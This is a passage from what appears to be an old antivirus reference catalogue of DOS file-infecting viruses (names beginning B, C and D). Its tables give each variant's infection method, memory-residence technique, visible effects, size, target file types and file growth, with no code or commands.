ºBreaking.1000(2)FIND¦ - ¦ V ¦1000 ¦ .C.E&CE* ¦ e ¦ L º
ºBrownie.688 ¦INT ¦MCB ¦ VS ¦688 ¦ .C&C * ¦ s,i ¦ L º
ºBubble.656 ¦INT ¦MCB ¦ - ¦656 ¦ CEO * ¦ e ¦ L º
ºBug.920 ¦FIND¦ - ¦ HV ¦920 ¦ .C.E * ¦CeEs ¦ C-L,E-73, compan.º
ºBandersnatch ¦INT ¦MCB ¦ - ¦3934 ¦ .C.E&CE* ¦ e ¦ L º
ºBtg.792 ¦INT ¦MCB ¦ VCh¦792 ¦ .C&C * ¦ s ¦ L º
ºBuendia.816 ¦FIND¦ - ¦ VEr¦816 ¦ .E ¦ e ¦ L+p º
ºBurglar.1150 ¦INT ¦MCB ¦ V ¦1150 ¦ .E&E* ¦ e ¦ L º
ºBurn.285 ¦FIND¦ - ¦ H ¦285 ¦ .C ¦ s ¦ 0, overwrite º
ºBW.Roet.1899 ¦INT ¦MCB ¦ HV ¦1899 ¦ CE * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part C
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºCannibal.1261 ¦INT ¦MCB ¦ V ¦1261 ¦ .C.E * ¦ e ¦ L+p º
ºCannibal.1312 ¦INT ¦MCB ¦ V ¦1312 ¦ .C.E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCascade.1621 ¦INT ¦MCB ¦ V ¦1621 ¦ C * ¦ e ¦ L º
ºCascade.1661(2)¦INT ¦MCB ¦ V ¦1661 ¦ C * ¦ e ¦ L º
ºCascade.1701(2)¦INT ¦MCB ¦ V ¦1701 ¦ C * ¦ e ¦ L º
ºCascade.1704 ¦INT ¦MCB ¦ V ¦1704 ¦ C * ¦ e ¦ L º
ºCascade.1706 ¦INT ¦MCB ¦ V ¦1704 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCat.2770 ¦INT ¦MCB ¦ HV ¦2770 ¦ .C.E&CE* ¦ e ¦ L º
ºCat.2898 ¦INT ¦MCB ¦ HV ¦2898 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCaterpillar(11)¦INT ¦MCB ¦ V ¦1575 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCavaco.1371 ¦INT ¦MCB ¦ V ¦1371 ¦ CE ¦ e ¦ L º
ºCavaco.1470 ¦INT ¦MCB ¦ V ¦1470 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCeCe.1703 ¦INT ¦MCB ¦ V ¦1703 ¦ .C.E&CE* ¦ e ¦ L º
ºCeCe.1994 ¦INT ¦MCB ¦ VEr¦1994 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºCeCe.1998 ¦INT ¦MCB ¦ VEr¦1998 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºChaos.1181 ¦INT ¦KEEP¦ HV ¦1181 ¦ .C.E * ¦ e ¦ C-L, E-L+p º
ºChaos.1241 ¦INT ¦KEEP¦ HV ¦1241 ¦ .C.E * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCheckSum.1232 ¦INT ¦MCB ¦ - ¦1232 ¦ CO * ¦ e ¦ L º
ºCheckSum.1233 ¦INT ¦MCB ¦ - ¦1233 ¦ CO * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºChukcha.554 ¦FIND¦ - ¦ V ¦554 ¦ .C&C * ¦ s ¦ L º
ºChukcha.838 ¦FIND¦ - ¦ V ¦838 ¦ .C&C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCivilDefence.10¦INT ¦MCB ¦HVCh¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.11¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.33¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.38¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.39¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.3A¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ºCivilDefence.3B¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºClick.291 ¦FIND¦ - ¦ M ¦291 ¦ .C&C ¦ e ¦ L º
ºClick.329 ¦INT ¦MCB ¦ S ¦329 ¦ C * ¦ s ¦ L º
ºClick.375 ¦INT ¦MCB ¦ S ¦375 ¦ C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCLME.Ming.1528 ¦FIND¦ - ¦ V ¦1528 ¦ .E * ¦ e ¦ L+? º
º.Ming.1952 ¦INT ¦KEEP¦ HV ¦1952 ¦ .E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCloneWar.228 ¦FIND¦ - ¦ - ¦228 ¦ .E ¦ s ¦ L, companion º
ºCloneWar.246 ¦FIND¦ - ¦ - ¦246 ¦ .E ¦ s ¦ L, companion º
ºCloneWar.261 ¦FIND¦ - ¦ - ¦261 ¦ .E * ¦ s ¦ L, companion º
ºCloneWar.546 ¦FIND¦ - ¦ - ¦546 ¦ .E * ¦ s ¦ L, companion º
ºCloneWar.923(2)¦FIND¦ - ¦ S ¦923 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCMOSDead.3618 ¦INT ¦KEEP¦ HV ¦3618 ¦ .C.E&CE* ¦ e ¦ L º
ºCMOSDead.3622 ¦INT ¦KEEP¦ HV ¦3622 ¦ .C.E&CE* ¦ e ¦ L º
ºCMOSDead.3710 ¦INT ¦KEEP¦ HV ¦3710 ¦ .C.E&CE* ¦ e ¦ L º
ºCMOSDead.5154 ¦INT ¦MCB ¦ HV ¦5154 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCock.451 ¦FIND¦ - ¦ - ¦451 ¦ .C&C ¦ e ¦ L º
ºCock.512 ¦INT ¦ - ¦ V ¦512 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCoconut.1940 ¦FIND¦ - ¦ V ¦1940 ¦ .C ¦ e ¦ L º
ºCoconut.2015 ¦FIND¦ - ¦ V ¦2015 ¦ .C ¦ e ¦ L º
ºCoconut.2071 ¦FIND¦ - ¦ V ¦2071 ¦ .C ¦ e ¦ L º
ºCoconut.2099 ¦FIND¦ - ¦ V ¦2099 ¦ .C ¦ e ¦ L º
ºCoconut.2324 ¦FIND¦ - ¦ V ¦2324 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCommando.421 ¦INT ¦MCB ¦ V ¦421 ¦ .C * ¦ e ¦ L º
ºCommando.498 ¦INT ¦MCB ¦ V ¦498 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCompanion.101(2¦INT ¦KEEP¦ H ¦101 ¦ CE ¦ s ¦ L, companion º
º.Caro ¦INT ¦KEEP¦ H ¦296 ¦ .E ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCornucopia (?)¦FIND¦ - ¦ V ¦6893 ¦ .C.E ¦ s ¦ L+?, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCorpLife.1929 ¦INT ¦MCB ¦ S ¦1929 ¦ .E&E * ¦ e ¦ L º
ºCorpLife.1937 ¦INT ¦MCB ¦ S ¦1937 ¦ .E&E * ¦ e ¦ L º
ºCorpLife.1943 ¦INT ¦MCB ¦ S ¦1943 ¦ .E&E * ¦ e ¦ L º
ºCorpLife.1947 ¦INT ¦MCB ¦ S ¦1947 ¦ .E&E * ¦ e ¦ L º
ºCorpLife.1957 ¦INT ¦MCB ¦ S ¦1957 ¦ .E&E * ¦ e ¦ L º
ºCorpLife.1961 ¦INT ¦MCB ¦ S ¦1961 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCouf.239 ¦INT ¦MCB ¦ - ¦239 ¦ .C ¦ e ¦ L º
ºCouf.254 (2)¦INT ¦MCB ¦ - ¦254 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCountdown.1300 ¦INT ¦MCB ¦ - ¦1300 ¦ C ¦ e ¦ L º
ºCountdown.1363 ¦INT ¦MCB ¦ - ¦1363 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCpw.1459 ¦INT ¦MCB ¦HVCh¦1459 ¦ .C.E&CE* ¦ e ¦ L º
ºCpw.1527 ¦INT ¦MCB ¦ H ¦1527 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCrazy.1402 ¦INT ¦MCB ¦ - ¦1402 ¦ C * ¦ s ¦ L º
ºCrazy.1445 ¦INT ¦MCB ¦ - ¦1445 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCriCri.4300 ¦INT ¦MCB ¦ VEr¦4300 ¦ CE+boot* ¦ e ¦ L º
ºCriCri.4616 ¦INT ¦MCB ¦ VEr¦4616 ¦ CE+boot* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCrucifix.2914 ¦INT ¦MCB ¦ - ¦2914 ¦ .C ¦ e ¦ L º
ºCrucifix.2916 ¦INT ¦MCB ¦ - ¦2916 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCruncher.2092 ¦INT ¦MCB ¦ - ¦2092 ¦ C * ¦ e ¦ ? º
ºCruncher.4000 ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ ? º
ºCruncher.4800 ¦INT ¦MCB ¦ V ¦4800 ¦ CE * ¦ e ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºCapital.927 ¦INT ¦MCB ¦ V ¦927 ¦ C ¦ e ¦ L º
ºCarbuncle ¦FIND¦ - ¦ H ¦622 ¦ .E * ¦ s ¦ L, companion º
ºCartier.1056 ¦FIND¦ - ¦ HVS¦1056 ¦ .C * ¦ e ¦ L º
ºCasino.2330 ¦INFI¦KEEP¦ HV ¦2330 ¦ .C * ¦ e ¦ L+p,COMMAND.COM-0º
ºCatholic.1129 ¦INT ¦MCB ¦ V ¦1129 ¦ C * ¦ e ¦ L º
ºCcc.381 ¦INT ¦MCB ¦ Er ¦381 ¦ E * ¦ e ¦ L+p º
ºCCCP.510 ¦FIND¦ - ¦ V ¦510 ¦ C ¦ e ¦ C º
ºCDJoke.848 ¦INT ¦MCB ¦ Ch ¦848 ¦ C * ¦ s ¦ L º
ºCease.382 ¦INT ¦MCB ¦ - ¦382 ¦ C * ¦ e ¦ L+p º
ºCha-Cha.2391 ¦INT ¦MCB ¦ - ¦2391 ¦ .C.E&CE ¦ e ¦ L º
ºChang.1759 ¦INT ¦MCB ¦ H ¦1759 ¦ CE ¦ e ¦ L+p º
ºChange.633 ¦FIND¦ - ¦ V ¦633 ¦ C ¦ e ¦ L º
ºChangsha.3072 ¦INT ¦KEEP¦ HV ¦3072 ¦ .C.E+boot¦ e ¦ C-L, E-L+p º
ºCheck.282 ¦INT ¦INTB¦ - ¦282 ¦ .C * ¦ e ¦ L º
ºCheckbox.936 ¦INT ¦MCB ¦ Ch ¦936 ¦ E * ¦ e ¦ L º
ºCherry.2266 ¦INT ¦MCB ¦ V ¦2266 ¦ .C.E&CE* ¦ e ¦ L º
ºCholera.1497 ¦INT ¦MCB ¦ - ¦1497 ¦ .C.E* ¦ e ¦ C-L, E-L+551+p º
ºChinBomb.1492 ¦INT ¦MCB ¦ HV ¦1492 ¦COMMAND.COM¦ e* ¦ L º
ºCityFire.1679 ¦INFI¦ADDR¦ V ¦1679 ¦ .C&C* ¦ s ¦ L º
ºClaudia.8772 ¦INT ¦MCB ¦ V ¦8772 ¦ E * ¦ e ¦ L º
ºCli.1313 ¦INT ¦MCB ¦ H ¦1313 ¦ .C * ¦ e ¦ L º
ºCli&Hlt.1345 ¦INT ¦MCB ¦ V ¦1345 ¦ CE * ¦ e ¦ L º
ºClone.833 ¦INT ¦KEEP¦ V ¦833 ¦ .E ¦ s ¦ L, companion º
ºClose.960 ¦INT ¦MCB ¦ HV ¦960 ¦ E ¦ e ¦ L º
ºCMOSDense.807 ¦INT ¦MCB ¦ChEr¦807 ¦ CE * ¦ e ¦ L º
ºCNTV.2630 ¦INT ¦BUFF¦ VEr¦2630 ¦ .C.E&CE* ¦ i,e ¦ L º
ºCobra.400 ¦FIND¦ - ¦ - ¦400 ¦ .C ¦ s ¦ L º
ºCodeDa.1289 ¦INFI¦MCB ¦ Ch ¦1289 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+4 º
ºCoffeeShop.1568¦INT ¦MCB ¦ V ¦1568 ¦ .C.E&CE* ¦ e ¦ L º
ºCoito.644 ¦INT ¦MCB ¦ Er ¦644 ¦ CE * ¦ e ¦ L º
ºCollor.878 ¦FIND¦ - ¦ HV ¦878 ¦ .C * ¦ e ¦ L º
ºComeOut.3624 ¦INFI¦VIDE¦ - ¦3624 ¦ .E&E ¦ e ¦ L+p º
ºCommanderBomber¦INT ¦KEEP¦ - ¦4096 ¦ C * ¦ i ¦ L º
ºCool.929 ¦INT ¦MCB ¦ V ¦929 ¦ E * ¦ e ¦ L+p º
ºCordobes.3334 ¦INT ¦KEEP¦ Ch ¦3334 ¦ .E&E* ¦ e ¦ L+p º
ºCossiga.859 (2)¦FIND¦ - ¦ HV ¦859 ¦ .E * ¦ e ¦ L+p º
ºCpsu.680 ¦INT ¦MCB ¦ V ¦680 ¦ C * ¦ e ¦ L º
ºCracky.546 ¦INFI¦DOSD¦ V ¦546 ¦ .C * ¦ e ¦ L º
ºCrepate.2910 ¦INT ¦MCB ¦ H ¦2910 ¦.C.E&CE+boot e *¦ L º
ºCriminal.2615 ¦INFI¦MCB ¦ HV ¦2615 ¦ .C ¦ e ¦ L º
ºCritico.969 ¦INT ¦MCB ¦ MV ¦969 ¦ CE ¦ i ¦ 0, insert º
ºCrusher ¦INT ¦MCB ¦ V ¦2048 ¦ .E+boot* ¦ s ¦ L º
ºCsf.240 ¦INT ¦INTB¦ - ¦240 ¦ C ¦ s ¦ L º
ºCuareim.800 (2)¦FIND¦ - ¦ V ¦800 ¦ .C * ¦ e ¦ L º
ºCunning.1997 ¦INT ¦MCB ¦ - ¦1997 ¦ .C * ¦ e ¦ L, COMMAND.COM-0 º
ºCvka.1024 ¦INT ¦MCB ¦ErCh¦1024 ¦ .C.E&CE* ¦ e ¦ L º
ºCyanide.705 ¦FIND¦ - ¦ V ¦705 ¦ .C * ¦ e ¦ L º
ºCybercide.2299 ¦INT ¦MCB ¦ HVS¦2299 ¦ .C * ¦ e ¦ L º
ºCysta.8045 ¦INT ¦MCB ¦ S ¦8045 ¦ .C.E.S ¦ e ¦ L+p º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part D
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºDac.1582 ¦INT ¦MCB ¦ VEr¦1582 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºDac.1600 ¦INT ¦MCB ¦ VEr¦1600 ¦ CE * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDada.786 ¦INT ¦MCB ¦ - ¦786 ¦ E ¦ e ¦ L º
ºDada.1356 ¦INT ¦MCB ¦ V ¦1356 ¦ E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDaemaen.1894 ¦INT ¦MCB ¦ Er ¦1894 ¦ CESO+boot*¦ e ¦ L º
ºDaemaen.2048 ¦INT ¦MCB ¦ Er ¦2048 ¦ CESO+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDAME.Lame ¦FIND¦ - ¦ - ¦2326 ¦ .C * ¦ e ¦ L+? º
º.Trigger ¦INT ¦MCB ¦ - ¦2465 ¦ CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDanish.163 ¦FIND¦ - ¦ - ¦163 ¦ .C ¦ e ¦ L º
ºDanish.284 ¦FIND¦ - ¦ - ¦284 ¦ .C * ¦ e ¦ L º
ºDanish.310 ¦FIND¦ - ¦ - ¦310 ¦ .C * ¦ e ¦ L º
º.Kennedy ¦FIND¦ - ¦ V ¦333 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDarkElf.1800 ¦INT ¦MCB ¦ - ¦1800 ¦ .C.E&CE* ¦ e ¦ L º
ºDarkElf.2000 ¦INT ¦MCB ¦ - ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºDarkElf.2200 ¦INT ¦MCB ¦ - ¦2200 ¦ .C.E&CE* ¦ e ¦ L º
ºDarkElf.3692 ¦INT ¦MCB ¦ - ¦3692 ¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDarthVader.200 ¦INT ¦BUFF¦ H ¦200 ¦ .C * ¦ s ¦ 0, overwrite º
ºDarthVader.255(3INT ¦BUFF¦ H ¦255 ¦ .C * ¦ s ¦ 0, overwrite º
ºDarthVader.344(2INT ¦BUFF¦ H ¦344 ¦ .C * ¦ s ¦ 0, overwrite º
ºDarthVader.409 ¦INT ¦BUFF¦ H ¦409 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDatacrime.1168(2FIND¦ - ¦ HV ¦1168 ¦ .C * ¦ e ¦ L º
ºDatacrime.1280(2FIND¦ - ¦ HV ¦1280 ¦ .C * ¦ e ¦ L º
ºDatacrime.1480 ¦FIND¦ - ¦ HV ¦1480 ¦ .C.E&CE* ¦ e ¦ L º
ºDatacrime.1514 ¦FIND¦ - ¦ HV ¦1514 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDataLock.920(2)¦INT ¦MCB ¦ Ch ¦920 ¦ CE * ¦ e ¦ L º
ºDataLock.1043 ¦INT ¦MCB ¦ H ¦1043 ¦ CE * ¦ e ¦ L º
ºDataLock.1150 ¦INT ¦MCB ¦ HV ¦1150 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDay14.789 ¦FIND¦ - ¦ H ¦789 ¦ .E&E * ¦ e ¦ L+p º
ºDay14.792 ¦FIND¦ - ¦ H ¦792 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDead.790 ¦INT ¦MCB ¦ H ¦790 ¦ .C&C ¦ e ¦ L º
ºDead.852 ¦INT ¦MCB ¦ S ¦852 ¦ .E&E ¦ e ¦ L+p º
ºDead.945 ¦INT ¦MCB ¦ - ¦945 ¦ CE+boot ¦ e ¦ L+p º
